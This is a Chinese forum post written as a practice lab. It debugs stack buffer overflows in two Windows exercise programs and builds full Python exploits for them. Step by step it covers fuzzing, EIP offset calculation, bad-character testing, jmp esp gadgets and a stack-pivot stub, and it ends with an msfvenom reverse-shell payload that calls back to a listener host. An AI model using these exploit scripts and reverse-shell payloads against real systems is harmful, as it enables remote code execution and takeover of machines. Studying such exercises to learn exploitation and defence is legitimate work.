首页
社区
课程
招聘
[原创]Windows 基础溢出漏洞调试分析记录
发表于: 2025-12-12 15:20 941

[原创]Windows 基础溢出漏洞调试分析记录

2025-12-12 15:20
941

分析两个程序,练习题性质

Vuln1App.exe

1.基础测试

1.1 Fuzz 测试

运行程序开启7001端口 基础Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket
 
try:
  print("\nSending evil buffer...")
  size = 0xA00
  buffer = b"A" * size
  
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  # IP address is target ip
  s.connect(("10.10.10.130", 7001))
  s.send(buffer)
  s.close()
   
  print("\nDone!")
   
except:
  print("\nCould not connect!")

加载到windbg当中查看内存
图片描述
溢出导致崩溃。

1.2 eip位置计算

这里我还是习惯用msf生成有序字符串

1
msf-pattern_create -l 0xa00

图片描述
修改代码

1
buffer = '.....' # <- msf 生成的有序字符串

再次运行加载到windbg
图片描述
查询eip位置

1
msf-pattern_offset -q 33794332

图片描述
修改代码

1
2
3
4
size = 0xA00
eip = b'B' * 4
buffer = b'A' * 2288 + eip
buffer += b'C' * (size - len(buffer))

检查windbg
图片描述
上图红色圈出的部分是eip,从01bcee5c开始是esp,蓝色圈出部分就是他们之间的空隙,有 8 bytes 的空隙需要填充

1
2
3
4
5
size = 0xA00
eip = b'B' * 4
offset = b'C' * 8
buffer = b'A' * 2288 + eip + offset
buffer += b'D' * (size - len(buffer))
1.3 坏字符检测

这个程序非常基础,不存在坏字符,所以直接pass即可
图片描述

2 Get Shell

非常基础的程序,不存在坏字符,溢出过后的空间够用,eip需要一个jmp esp的指令,shellcode可以直接msf生成一个,然后修改代码,运行即可.
在windbg当中查找jmp esp

1
2
lm m VulnApp1
s -b 14800000 14816000 ff e4

图片描述
修改代码

1
2
3
4
5
6
7
8
9
10
eip = b'\xcf\x10\x80\x14'  # 148010cf -> jmp esp
offset = b'C' * 8
 
# msf 生成
shellcode =  b""
shellcode += b"\xd9\xcb\xba\xd6\xf8\x2e\xad\xd9\x74\x24\xf4"
......
buffer = b'A' * 2288 + eip + offset
buffer += b'\x90' * 10 + shellcode
buffer += b'D' * (size - len(buffer))

成功获取到shell

比较基础就直接过了

1.基础测试

来看第二个程序

1.1 Fuzz 测试

启动程序后,程序开启监听7002端口,向该端口发送大量A并且加载到windbg当中进行调试分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket
 
try:
  print("\nSending evil buffer...")
  size = 0x830
 
  buffer = b"A" * 0x830
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("10.10.10.130", 7002))
  s.send(buffer)
  s.close()
 
  print("\nDone!")
   
except:
  print("\nCould not connect!")

可以从截图当中看到,eip已经被影响

图片描述

说明存在溢出漏洞。

1.2.计算eip偏移量

利用msf生成有序字符串

1
msf-pattern_create -l 0x830

修改基础Poc代码

1
buffer = b'Aa0Aa1Aa2Aa3A......' # 这个字符串来自msf生成

再次执行并且查看windbg,可以看到现在EIP被字符72433372填充
图片描述
查询字符串位置

1
msf-pattern_offset -q 72433372

图片描述

通过查询可以看到eip的位置在2080,修改Poc代码

1
2
3
4
size = 0x830
eip = b'B' * 4
buffer = b'A' * 2080 + eip
buffer += b'C' * (size - len(buffer))

查看windbg日志

1
2
3
4
0:006> dd esp -20
01b9ff58  41414141 41414141 41414141 41414141
01b9ff68  41414141 41414141 41414141 42424242
01b9ff78  43434343 43434343 43434343 77de5900

图片描述

从windbg的日志,可以分析出,eip后紧接着就是esp但是之后的空间,我们可写入的部分仅有0x10(16),然后除去eip的4个字节,其实真正写入的只有0XC(12)这么多

所以接下来的测试,我们需要稍微记录一下,后续把shellcode写在别的地方。

1.3. Badchars 测试

在上述情况下,由于可测试的空间非常小,所以这里坏字符的检测就需要稍微做一下调整,由于esp可写入的部分很少,所以对应的坏字符的检测也要一点一点来。badchars的格式稍微变一下,如下,这样利用二分法,然后找出有坏字符的行然后再一个一个找出坏字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
badchars = (
            b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c'
            b'\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18'
            b'\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24'
            b'\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
            b'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c'
            b'\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48'
            b'\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54'
            b'\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
            b'\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c'
            b'\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78'
            b'\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84'
            b'\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
            b'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c'
            b'\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8'
            b'\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4'
            b'\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
            b'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc'
            b'\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8'
            b'\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4'
            b'\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
            b'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc'
            b'\xfd\xfe\xff'
            )
  
  buffer = b'A' * 2080 + eip
  buffer += badchars

图片描述
如上图,每验证一行就注释一行。

当测试到这一行

1
b'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c'

查看windbg,发现3a过后开始出现00由此判定3b是坏字符

1
2
3
0:006> dd esp L8
01b5ff78  34333231 38373635 01003a39 770f594b
01b5ff88  00000324 ae23a972 00000000 00000000

图片描述
去除3b后的windbg日志也证实这一点,依次类推,找出所有坏字符

1
2
3
0:006> dd esp L8
01bdff78  34333231 38373635 3d3c3a39 770f5900
01bdff88  0000030c 7953f96d 00000000 00000000

所有的坏字符如下

1
\x00 \x3b \x45

2.0 进阶测试

2.1.指令查找

由于没有那么大的空间让我们写shellcode,所以这里的思路是把shellcode写入前面的部分,然后让程序执行流程跳到上面去。首先,依然需要eip的指令为jmp esp

1
2
3
4
5
6
7
8
0:006> s -b 14800000 14816000 ff e4
1480113d  ff e4 83 7d ec 00 75 03-58 5b c3 5b 8b e5 5d c3  ...}..u.X[.[..].
0:006> u 1480113d
VulnApp2+0x113d:
1480113d ffe4            jmp     esp
1480113f 837dec00        cmp     dword ptr [ebp-14h],0
14801143 7503            jne     VulnApp2+0x1148 (14801148)
......

之后我们来尝试写一些指令,首先我们假设我们的shellcode非常大500字节左右,为了避免坏字符,利用增加负数这种技巧,避免00字符

1
? 0x00000000 - 0x000001F4 = fffffe0c

之后使用msf(或是其他汇编转换器),将汇编转换成字节码

1
2
3
4
5
msf-nasm_shell
nasm > add esp,0xfffffe0c
00000000  81C40CFEFFFF      add esp,0xfffffe0c
nasm > jmp esp
00000000  FFE4              jmp esp

之后在Poc当中增加这些指令,这些指令足够小,刚好能够把他放进0xC这个空间内,并且完全没有坏字符。

1
2
esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF' # add esp, 0xFFFFFE0C (-500)'
esp_cmd += b'\xFF\xE4'  # jmp esp

此时修改这部分代码将eip和esp的部分都写好

1
2
3
4
5
6
eip = b'\x3d\x11\x80\x14' # 1480113d -> jmp esp
 
shellcode = b'\x90' * 500
 
esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF' # add esp, 0xFFFFFE0C (-500)'
esp_cmd += b'\xFF\xE4'  # jmp esp

并且在jmp esp当中打断点验证,从截图可以看出来,jmp esp成功命中
图片描述

3.0 Get Shell

ok,来到最后的部分,我们整体的思路是,首先利用2080个字符让程序溢出,然后让eip指向找到的jmp esp,之后esp当中存储的是我们准备好的一段恶意指令,会让esp - 500 并且再次跳转esp。而esp - 500的位置就是我们写shellcode的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
import socket
 
try:
  print("\nSending evil buffer...")
  size = 0x830
  overflower_size = 2080
  eip = b'\x3d\x11\x80\x14' # 1480113d -> jmp esp
   
  # badchars is \x00 \x3b \x45
  
   
  shellcode = b'\x90' * 10
  # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x3b\x45'
  shellcode += b"\xbf\x99\xf9\x11\x2d\xda\xd8\xd9\x74\x24\xf4"
  ......
 
  esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF' # add esp, 0xFFFFFE0C (-500)'
  esp_cmd += b'\xFF\xE4'  # jmp esp
  buffer = b'A' * 1580 + shellcode
  buffer += b'\x90' * (2080 - len(buffer)) + eip
  buffer += esp_cmd
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("10.10.10.130", 7002))
  s.send(buffer)
  s.close()
 
  print("\nDone!")
   
except:
  print("\nCould not connect!")

执行Exp开启监听,最终获取shell


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2025-12-12 19:31 被Cypher.M编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
大佬!!!!
3天前
0
游客
登录 | 注册 方可回帖
返回